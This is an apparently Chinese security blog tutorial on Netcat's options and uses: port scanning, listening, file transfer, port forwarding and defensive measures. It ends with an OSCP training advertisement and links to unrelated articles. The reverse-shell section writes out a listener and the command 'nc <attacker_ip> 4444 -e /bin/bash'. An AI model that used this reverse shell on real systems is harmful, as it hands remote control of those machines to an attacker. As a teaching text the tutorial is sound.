Netcat:网络中的瑞士军刀
免责声明:使用本教程或工具,用户必须遵守所有适用的法律和法规,并且用户应自行承担所有风险和责任。
文章目录
- 一、引言
- 二、简述
- 三、Netcat功能?
- 四、参数选项
- 五、Netcat 的常见功能
- 六、高级用法
- 多连接处理
- 创建简单的代理
- 七、Netcat 安全性:滥用与防范
- 八、总结与应用场景
- 九. 进一步学习
一、引言
在渗透测试、网络调试、以及各种网络任务中,有一个非常强大的工具被广泛使用,那就是 Netcat(简称 nc
)。被称为“网络中的瑞士军刀”,Netcat 是一个简单却非常强大的网络工具,拥有很多用途,从端口扫描到反向 Shell,甚至可以用来传输文件和进行端口转发。它的灵活性和多功能性使得 Netcat 成为安全专家、系统管理员、开发者和渗透测试人员的必备工具。
本文将详细介绍 Netcat 的核心功能、使用技巧,以及一些安全防范建议。
二、简述
nc
是一个简单的 Unix 工具,用于通过网络连接读取和写入数据,支持 TCP 或 UDP 协议。它被设计为一个可靠的“后端”工具,可以直接使用,也可以通过其他程序和脚本轻松驱动。它同时也是一个功能丰富的网络调试和探索工具,因为它可以创建几乎任何你需要的连接,并且有一些有趣的内建功能。Netcat,或称 nc
,应该早在很久之前就被作为另一个神秘但标准的 Unix 工具发布了。
在最简单的用法中,nc host port
会创建一个 TCP 连接到指定主机的指定端口。然后,标准输入会发送到主机,任何从连接返回的数据都会发送到标准输出。这一过程会持续,直到网络一侧关闭连接。请注意,这与大多数应用程序不同,后者会在标准输入读取完毕后就关闭连接并退出。
Netcat 还可以作为服务器工作,监听入站连接,在这个过程中,它会做相同的读写操作。除了某些小限制外,Netcat 不关心是否在“客户端”或“服务器”模式下运行——它仍然会在没有数据时不断来回传送数据。无论在任何模式下,关闭连接都可以在网络一侧超时后强制进行。
它还可以通过 UDP 协议工作,因此 Netcat 可能是你一直想要的用于测试 UDP 模式服务器的“UDP 版Telnet”。UDP 协议如字母 “U” 所示,提供比 TCP 更不可靠的数据传输,某些系统在通过 UDP 发送大量数据时可能会遇到问题,但这仍然是一个非常有用的功能
你可能会问:“为什么不使用 Telnet 来连接任意端口?”这是一个有效的问题,以下是一些原因:
- Telnet 存在“标准输入 EOF”问题,因此必须通过脚本中引入适当的延时来确保网络输出完成,而 Netcat 会保持运行直到网络一侧关闭。
- Telnet 无法传输任意二进制数据,因为某些字符会被解释为 Telnet 选项并因此从数据流中删除。
- Telnet 还会将某些诊断信息输出到标准输出,而 Netcat 会严格分开处理这些信息,除非你特别指定。
- 当然,Telnet 无法监听入站连接,或者使用 UDP 协议。Netcat 则没有这些限制,体积小且运行速度更快,拥有更多功能
三、Netcat功能?
Netcat 是一个用于网络通信的工具,它能够执行多种任务,包括但不限于:
- 端口扫描:检查目标主机是否开放特定端口。
- 监听端口:在本地计算机上侦听端口,等待客户端连接。
- 反向 Shell 和正向 Shell:实现远程控制。
- 文件传输:在计算机之间传输文件。
- 端口转发:将数据流量从一个端口转发到另一个端口。
通过简单的命令,Netcat 可以帮助你完成大量的网络任务,甚至替代一些专门的工具。接下来,我们将逐一介绍它的常见功能。
四、参数选项
nc
提供了一系列高级选项,包括:
选项 | 描述 |
---|---|
-c string | 指定连接后要执行的 shell 命令(使用时请谨慎)。该字符串会传递给 bin/sh -c执行。 |
-e filename | 指定连接后要执行的文件(使用时请谨慎)。参考 -c 选项,提供增强功能 |
-g gateway | 源路由跳点,最多支持 8 个跳点。 |
-G num | 源路由指针:4、8、12 等。 |
-h | 显示帮助信息。 |
-i secs | 发送数据或扫描端口时的延迟间隔(秒)。 |
-l | 监听模式,用于接收入站连接。 |
-n | 仅使用数字形式的 IP 地址,不进行 DNS 查询。 |
-o file | 输出流的十六进制转储。 |
-p port | 本地端口号(端口可以是单一端口或端口范围:low-hi [包含])。 |
-q seconds | 在标准输入 EOF 后,等待指定秒数然后退出。如果秒数为负数,则永远等待。 |
-b | 允许 UDP 广播。 |
-r | 随机化本地和远程端口。 |
-s addr | 指定本地源地址。 |
-t | 启用 Telnet 协议的协商。 |
-u | 使用 UDP 模式。 |
-v | 显示详细信息(使用两次时更加详细)。 |
-w secs | 连接超时和最终网络读取超时(秒)。 |
-C | 将 CRLF 作为行结束符。 |
-z | 零输入/输出模式,用于端口扫描。 |
-T type | 设置 TOS 标志(type 可为 “Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, 或 “Minimize-Cost”)。 |
五、Netcat 的常见功能
-
端口扫描
Netcat 可以用来扫描目标主机的开放端口。它通过向目标主机发送请求来检查端口是否开放。这个功能虽然简单,但在某些情况下非常有用。
扫描 IP 地址
192.168.1.1
的 22 到 80 端口:nc -zv 192.168.1.1 22-80
-z
:表示只扫描端口,不发送数据-v
:开启详细模式,显示扫描结果
-
监听端口
Netcat 可以用于在指定端口上监听连接,接收来自远程计算机的数据。这是创建一个简单的“服务器”的方法,适用于调试和接收数据。
在本地的 1234 端口侦听:
nc -lvp 1234
-l
:表示 Netcat 将进入监听模式-v
:开启详细模式-p
:指定端口
-
反向 Shell
反向 Shell 是渗透测试中的常见技术,攻击者的计算机发起连接,受害者的计算机向攻击者提供命令行访问权限。Netcat 是实现反向 Shell 的一个常用工具。
攻击者计算机(监听端):
nc -lvnp 4444
受害者计算机(反向连接):
nc <attacker_ip> 4444 -e /bin/bash
-e /bin/bash
:执行 Bash shell,将其输入输出与网络连接绑定,实现远程控制
-
文件传输
Netcat 可以在两台计算机之间快速传输文件。与其他工具相比,Netcat 传输文件的速度较快,操作也非常简单。
接收端(监听):
nc -lvp 1234 > received_file
发送端:
nc <receiver_ip> 1234 < my_file
通过这种方式,
my_file
文件就会从发送端传输到接收端,并保存为received_file
-
端口转发
Netcat 还可以将数据从一个端口转发到另一个端口。这在绕过防火墙或实现简单的代理时非常有用。
将来自端口 1234 的流量转发到目标 IP 的 80 端口
nc -lvp 1234 | nc target_ip 80
这个命令会监听本地的 1234 端口并将接收到的所有数据转发到目标主机的 80 端口(通常是 HTTP 服务端口)。
六、高级用法
多连接处理
Netcat 也支持同时处理多个连接,虽然这个功能比较基础,但它可以通过脚本结合使用来增强功能。你可以使用循环或管道来处理多个连接。
创建简单的代理
如果你想要创建一个简单的代理或者隧道来绕过防火墙,Netcat 也能帮上忙。比如,你可以将数据从一个端口转发到另一个端口,实现代理服务。
七、Netcat 安全性:滥用与防范
虽然 Netcat 是一个非常实用的工具,但它也可能被攻击者滥用。由于 Netcat 可以创建反向 Shell 或者监听端口,攻击者可以用它来控制受害机器。因此,在网络环境中使用 Netcat 时,应该注意以下几点:
- 防火墙配置:确保防火墙仅允许受信任的 IP 地址访问服务端口,阻止未知连接。
- 入侵检测系统(IDS):设置 IDS 监测异常流量,尤其是大量的端口扫描或反向连接。
- 限制使用 Netcat:在企业网络中,可以禁用 Netcat 或者使用防火墙规则阻止其执行。
八、总结与应用场景
Netcat 是一个非常强大的工具,它可以用于端口扫描、反向 Shell、文件传输、端口转发等多种任务。在渗透测试、网络调试和数据传输等方面,Netcat 的功能不可小觑。无论是系统管理员还是安全专家,都会在日常工作中用到它。
应用场景:
- 渗透测试:创建反向 Shell,执行端口扫描和漏洞扫描。
- 网络调试:使用 Netcat 测试服务响应,进行网络故障排查。
- 文件传输:快速、高效地在两台计算机之间传输文件。
在使用 Netcat 时,务必确保合法授权,避免滥用。通过合理配置安全措施,可以减少其被滥用的风险。
九. 进一步学习
- Netcat 官方文档:Netcat
- Ncat(Netcat 的增强版):如果你需要更多的功能,可以尝试 Ncat,这是 Nmap 提供的一个更强大的版本,支持 SSL、HTTP 协议等。
通过学习和实践 Netcat,你可以掌握更多网络调试和渗透测试的技巧,并提高自己在网络安全领域的专业能力
近期泷羽推出oscp培训,价格实惠,只需要4000,学生还可以优惠500,可以分期,培训六个月,提供官方教材,以及带着刷众多靶机(大约200多台),每天都有直播教学,以及录播,有想考oscp证书意向的师傅可以私信我,也可以扫描海报上的二维码咨询详情
文章原创,欢迎转载,请注明文章出处
相关文章:
Netcat:网络中的瑞士军刀
免责声明:使用本教程或工具,用户必须遵守所有适用的法律和法规,并且用户应自行承担所有风险和责任。 文章目录 一、引言二、简述三、Netcat功能?四、参数选项五、Netcat 的常见功能六、高级用法多连接处理创建简单的代理 七、Netc…...
清理C盘小记
突然C盘就爆满了,想当初还是给他预留了120G的空间,感觉到现在也不够用了,担心出现死机的情况就赶紧进行了清理。有一说一,清理回收站是真的有用。 参考:C盘清理指南,清理出30G起,超详细总结&am…...
Qt WORD/PDF(四)使用 QAxObject 对 Word 替换(QWidget)
关于QT Widget 其它文章请点击这里: QT Widget 国际站点 GitHub: https://github.com/chenchuhan 国内站点 Gitee : https://gitee.com/chuck_chee 姊妹篇: Qt WORD/PDF(一)使用 QtPdfium库实现 PDF 操作 Qt WORD/PDF(二…...
软件工程 设计的复杂性
复杂性代表事件或事物的状态,它们具有多个相互关联的链接和高度复杂的结构。在软件编程中,随着软件设计的实现,元素的数量以及它们之间的相互联系逐渐变得庞大,一下子变得难以理解。 如果不使用复杂性指标和度量,软件…...
《解决两道有趣的编程问题:交替数字和与简单回文》
在编程的世界里,算法和逻辑的挑战无处不在。今天,我们将用 Python 来解决两道有趣的编程问题,分别是计算交替数字和以及生成简单回文。 一、交替数字和(Alternating Sum of Numbers) 1. 问题描述 给定一系列整数&am…...
C语言(结构体练习)
设计一个结构体,存放一个学员信息并显示,存放两个学员信息,算他们的平均分。 #include <stdio.h> #include <string.h>// 定义结构体 typedef struct {char name[50];float score; } Student;// 函数声明 void display(Student student); f…...
Lumoz主网启航:为ETH3.0、ZK和AI提供无穷算力
一个成熟的区块链主网是技术落地的体现,更是项目战略布局的开端,预示着全球化扩展和技术创新的全面启动。12 月9日,Lumoz主网的正式上线为生态系统注入了强大的潜力,并为未来的技术发展、市场拓展和社区建设提供了坚实的基础&…...
MySQL技术:事务处理与锁机制
在现代数据库系统中,事务处理和锁机制是确保数据一致性和完整性的关键技术。MySQL作为一个强大的关系型数据库管理系统,提供了完善的事务支持和多种锁机制来处理并发数据访问。本文将深入探讨MySQL中的事务处理和锁机制,以及如何有效使用它们…...
uniapp炫酷导航按钮及轮播指示器组件
一个拥有炫酷动效的导航按钮和指示器uniapp组件,帮你构建更炫酷的官网、宣传页、产品介绍等页面。 目前测试了vue2语法在h5和微信小程序的适配,其他平台理论上也能用。 下载及使用方法地址:iliya-desgin 展示: 目标页面出现在可视…...
gdb调试常用指令及案例讲解
一、常用指令 运行 -g:使用该参数编译可以执行文件,得到调试表。 编译 # 运行 gdb ./a.out# 设置参数 set args -s ./data/uvd.tcl 控制参数 断点 list/l :list 1 列出源码。根据源码指定 行号设置断点。 b …...
LeetCode 刷题笔记
LeetCode 刷题笔记 1. 20241218 (1)2447 std::gcd是C17引入的一个函数,用于计算两个整数的最大公因数。位于<numeric>头文件中。 #include <iostream> #include <numeric> // std::gcdint main() {int a 36;int b 60…...
重新定义页签!Choerodon UI Tabs让管理更高效
01 引言 Tabs 组件通过提供平级区域,将大块内容进行有效的收纳和展现,从而保持界面整洁。但在企业应用的快速发展中,这样传统的页签组件已无法满足我们对界面布局和个性化展示的追求。Choerodon UI Tabs 组件通过支持多级分组、个性化配置、…...
OnlyOffice出现JWT问题和文档下载失败问题解决
一、文档安全令牌未正确形成: 解决方案:禁用jwt,并且重启服务 文件位置:C:\Program Files\ONLYOFFICE\DocumentServer\config\local.json "token": {"enable": {"request": {"inbox":fa…...
Python面试常见问题及答案3
一、基础语法相关 问题:Python中如何实现多态? 答案:在Python中,多态是一种动态类型机制的体现。比如,通过定义一个具有相同方法名的类,不同的类可以根据自身的定义实现这个方法的不同行为。例如ÿ…...
【Java学习笔记】多线程基础
并行:同一时刻,多任务同时进行 多任务分别进行 一、线程相关概念 1.程序 是为完成特定任务、用某种语言编写的一组指令的集合。 简单的说:就是我们写的代码 2.进程 (1)进程指的就是运行中的程序,比如我们使用QQ,就…...
使用stm32的ADC和NTC热敏电阻R值是10k,B值是3950的测温程序
首先要明确NTC热敏电阻的阻值是随温度升高,电阻降低的一个特性,加上拉电阻10K,不过一下子没有找到10K的上拉电阻,就用了一个8.2K的上拉电阻到3.3V,测温电阻一端接地,中间接stm32的PA1使用ADC测电压来计算温…...
详细解读BSCI验厂
BSCI验厂是指BSCI(Business Social Compliance Initiative)倡议商界遵守社会责任组织对BSCI组织成员的全球供应商进行的社会责任审核。以下是对BSCI验厂的详细解读: 一、BSCI验厂的定义与背景 定义:BSCI验厂是企业社会责任验厂的…...
Visual Studio 2022 QT5.14.2 新建项目无法打开QT的ui文件,出现闪退情况
新建 Qt Widgets Application项目,如下图: 点击下一步: 项目创建成功如下: 提示异常如下图: ***.ui 无法打开文件。 提供三种解决办法,本文使用第二种方式解决,选择适合您的解决方法&#x…...
Unity3D制作MMORPG所需知识点详解
前言 在制作一款大型多人在线角色扮演游戏(MMORPG)时,Unity3D引擎提供了丰富的功能和工具,但开发者需要掌握一系列关键技术和知识点。本文将详细介绍使用Unity3D制作MMORPG所需的关键知识点和技术细节。 对惹,这里有…...
Coding Caprice - monotonic stack2
42. 接雨水 class Solution { public:int trap(vector<int>& height) {stack<int> sh;int out 0;for(int i0; i<height.size(); i){while(!sh.empty() && height[sh.top()]<height[i]){int bo height[sh.top()];sh.pop();if(sh.empty()){brea…...
Android Stduio 2024版本设置前进和后退按钮显示在主界面
Android Studio 2024(Ladybug)安装后发现前进和后退按钮不显示在主界面的工具栏,且以前在View中设置的办法无效: Android Studio 2024(Ladybug)的设置方式: File->Settings->Appearance&…...
NFT与NFT数据的区别
NFT与NFT数据的区别 NFT与NFT数据的区别 NFT(非同质化代币) NFT是一种基于区块链技术的数字资产。它具有独一无二的特性,就像现实生活中的艺术品原作,每一个NFT都有其独特的标识,无法被其他资产替代。例如,一幅数字画作以NFT的形式存在,它的所有权信息、创作背景、作者签…...
Docker介绍、安装、namespace、cgroup、镜像-Dya 01
0. 容器简介 从生活上来说,容器是一种工具,可以装东西的工具,如衣柜、背包、行李箱等等。 从IT技术方面来说,容器是一种全新的虚拟化技术,它提高了硬件资源利用率,结合k8s还可以让企业业务快速横向扩容、业…...
SQL 查询方式比较:子查询与自连接
在 SQL 中,子查询和自连接是两种常见的查询方式,它们的功能虽然可以相同,但实现的方式不同。本文通过具体示例,深入探讨这两种查询方式,并配合数据展示,帮助大家理解它们的使用场景和差异。 数据示例 假设…...
day15 python(3)——python基础(完结!!)
【没有所谓的运气🍬,只有绝对的努力✊】 目录 1、函数 1.1 函数传参中的拆包 1.2 匿名函数的定义 1.3 匿名函数练习 1.4 匿名函数应用——列表中的字典排序 2、面向对象 OOP 2.1 面向对象介绍 2.2 类和对象 2.3 类的构成和设计 2.4 面向对象代码…...
电机频繁烧毁的原因分析
电机作为一种关键的工业设备,广泛应用于各类机械和设备中。然而,电机频繁烧毁的问题却时常困扰着许多企业,导致生产效率降低,维修成本上升,甚至可能引发安全隐患。 一、电机烧毁的基本原理 电机的烧毁通常是指电机内…...
概率论得学习和整理30: 用EXCEL 描述泊松分布 poisson distribution
目录 1 泊松分布的基本内容 1.1 泊松分布的关键点 1.1.1 属于离散分布 1.1.2 泊松分布的特点:每个子区间内概率相等 , λ就是平均概率 1.2 核心参数 1.3 pmf公式 1.4 期望和方差 2 例1:用EXCEL计算泊松分布的概率 3 比较λ不同值时…...
计算机网络技术基础:3.计算机网络的拓扑结构
网络拓扑结构是指用传输媒体互连各种设备的物理布局,即用什么方式把网络中的计算机等设备连接起来。将工作站、服务站等网络设备抽象为点,称为“节点”;将通信线路抽象为线,称为“链路”。由节点和链路构成的抽象结构就是网络拓扑…...
docker login 出错 Error response from daemon
在自己的Linux服务器尝试登陆docker出错 输入完用户密码之后错误如下: 解决方案 1.打开daemo文件: vim/etc/docker/daemon.json 2.常用的国内Docker 镜像源地址 网易云 Docker 镜像:http://hub-mirror.c.163.com 百度云 Docker 镜像&#x…...
【测试】Pytest
建议关注、收藏! 目录 功能pytest 自动化测试工具。 功能 单元测试:用于验证代码的最小功能单元(如函数、方法)的正确性。 简单的语法:不需要继承特定类或使用复杂的结构。断言语句简化。 自动发现测试:P…...
前端拖拽API你会用了么
大家好,今天跟大家分享一个小知识,前端页面的拖拽效果。这个效果可以说还是很常见的,比如说玩一些游戏的时候,将装备直接拖拽到一定区域就会丢掉或者装备上,再比如说一个列表,通过拖拽排序等。那么今天我们…...
NVIDIA推出全新紧凑型超算,加速生成式AI发展,价格大幅下降
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...
第100+33步 ChatGPT学习:时间序列EMD-ARIMA-LSTM模型
基于Python 3.9版本演示 一、写在前面 上一节,我们学了经验模态分解(Empirical Mode Decomposition,EMD)。 如同结尾所说,“那么,做这些分解有什么作用呢?有大佬基于这些分解出来的序列分别作…...
Redis到底是单线程还是多线程?
Redis的线程模型是一个复杂的话题,它既包含了单线程的特性也引入了多线程的概念。理解这一点对于正确使用Redis和优化其性能至关重要。 1.单线程模型 在早期版本中,Redis被设计为单线程模型,这意味着所有客户端请求的处理(包括网…...
Qt5与Qt6中的高DPI缩放属性解析
在Qt5中,高DPI缩放默认是禁用的。为了启用它,开发者需要设置Qt::AA_EnableHighDpiScaling应用程序属性。然而,在Qt6中,高DPI缩放默认是启用的,并且不能被禁用。这种变化使得开发者在处理高分辨率屏幕时更加方便&#x…...
[146 LRU缓存](https://leetcode.cn/problems/lru-cache/)
分析 维护一个双向链表保存缓存中的元素。 如果元素超过容量阈值,则删除最久未使用的元素。为了实现这个功能,将get(), put()方法获取的元素添加到链表首部。 为了在O(1)时间复杂度执行get()方法,再新建一个映射表,缓存key与链表…...
顺序表-递增有序表合并
两个递增有序表合并操作 题目: 将两个递增有序的顺序表 A 和 B 合并成一个新的递增有序顺序表 C。 思路: 使用三个索引 i, j, k 分别遍历顺序表 A, B 和合并后的顺序表 C。比较 A 和 B 当前索引指向的元素,将较小的元素放入 C 中…...
从开始实现扩散概率模型 PyTorch 实现
目录 一、说明 二、从头开始实施 三、线性噪声调度器 四、时间嵌入 五、下层DownBlock类块 六、中间midBlock类块 七、UpBlock上层类块 八、UNet 架构 九、训练 十、采样 十一、配置(Default.yaml) 十二、数据集 (MNIST) keyword: Diffusion…...
LabVIEW智能焊接系统
焊接作为制造业中的核心工艺,直接影响到产品的性能与可靠性。传统的焊接过程通常依赖操作工的经验控制参数,导致质量波动较大,效率低下且容易产生人为误差。随着工业自动化和智能制造的不断发展,传统焊接方法的局限性愈加明显。本…...
如何快速排查 Wi-Fi 的 TPUT 问题?
1. 如何排查 Wi-Fi TPUT 问题 掌握每个 Wi-Fi 协议下的 Wi-Fi TPUT 的计算方法 一文让你轻松理解WLAN物理层速率计算方式_wifi速率计算公式-CSDN博客配查 CPU 的资源占用率:interrupt、CPU loading Linux/Android 系统使用 mpstat 工具 具体工具的使用方法ÿ…...
C语言单链表、双链表专题及应用
1.链表的概念及结构 概念:链表是一种物理存储结构上非连续,非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的 链表的结构跟火车车厢相似,淡季时车次的车厢会相应减少,旺季时车次的车厢会额外增…...
C++4--类
目录 1.类的引入 2.类的定义 3.类的访问限定符及封装 3.1访问的限定符 3.2封装 4.类的作用域 5.类的实体化 1.类的引入 C语言结构体中只能定义变量,在C中,结构体内不仅可以定义变量,也可以定义函数。比如:之间在数据结构中&…...
紫光展锐5G融云方案,开启云终端新时代
近年来,云终端凭借便捷、高效、高性价比的优势正逐步在各行各业渗透。研究机构IDC的数据显示,2024上半年,中国云终端市场总体出货量达到166.3万台,同比增长22.4%,销售额29亿元人民币,同比增长24.9%…...
雪泥鸿爪和屈指可数
paw这个单词,表示“爪或手”,是一个和hoof相对的单词: hoof n.(马等动物的)蹄paw n.爪子;(动物的)爪;(人的)手 v.挠,抓;动手动脚 所以,当你理解了 paw 和 hoof 是相对的概念时&…...
C++并发与多线程(高级函数async)
async 在 C 中,async 关键字用于实现异步编程,它允许你定义异步操作,这些操作可以在后台执行,而不会阻塞当前线程。这是 C11 引入的特性,与 std::async 函数和 std::future 类一起使用。与thread函数模板的区别在于as…...
LeetCode 力扣 热题 100道(二十)三数之和(C++)
给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k ,同时还满足 nums[i] nums[j] nums[k] 0 。请你返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三元组。 如下代码…...
类和对象(4)
大家好,今天来给大家介绍一下this引用,在学习类和对象的时候大家一定有一点疑惑吧,类为什么能知道我们传入的是哪个对象,又是怎么实例化我们的成员的,那么我们便来了解一下。 四.this引用 4.1为什么要有this引用 在…...
php基础:正则表达式
1.正则表达式 正则表达式是用于描述字符排列和匹配模式的一种语法规则。它主要用于字符串的模式分割、匹配、查找及替换操作。到目前为止,我们前面所用过的精确(文本)匹配也是一种正则表达式。 在PHP中,正则表达式一般是由正规字…...
Vue3动态表单实现
实现方法:通过<component />标签动实现动态表单渲染 component标签: 在vue中 component 标签用于动态组件标签的渲染。它允许在同一个挂载点上条件渲染不同的组件,通过is属性可以渲染指定的属性 在上面的例子中,通过调用…...
【网络取证篇】取证实战之PHP服务器镜像网站重构及绕密分析
【网络取证篇】取证实战之PHP服务器镜像网站重构及绕密分析 在裸聊敲诈、虚假理财诈骗案件类型中,犯罪分子为了能实现更低成本、更快部署应用的目的,其服务器架构多为常见的初始化网站架构,也称为站库同体服务器!也就是说网站应用…...